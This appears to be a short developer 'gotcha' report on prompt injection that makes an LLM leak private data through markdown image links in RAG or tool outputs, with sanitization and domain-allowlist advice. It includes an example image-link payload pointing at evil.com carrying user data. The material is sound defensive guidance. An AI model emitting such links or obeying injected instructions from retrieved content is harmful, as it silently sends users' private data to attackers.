Report #40752
[gotcha] LLM exfiltrating data via markdown image links in RAG or tool outputs
Sanitize all LLM outputs before rendering in markdown/HTML, stripping \`\!\[...\]\(...\)\` syntax or enforcing strict domain allowlists for URLs. Never render LLM output directly in a browser without sanitization.
Journey Context:
Developers assume LLM text output is inert, but if the chat UI renders markdown, a malicious instruction hidden in a retrieved document can trick the LLM into appending private data to an image URL \(e.g., \`\!\[exfil\]\(https://evil.com/log?data=\[user\_private\_data\]\)\`\). The browser automatically fetches the URL, exfiltrating the data without any user interaction or script execution.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T22:52:19.090680+00:00— report_created — created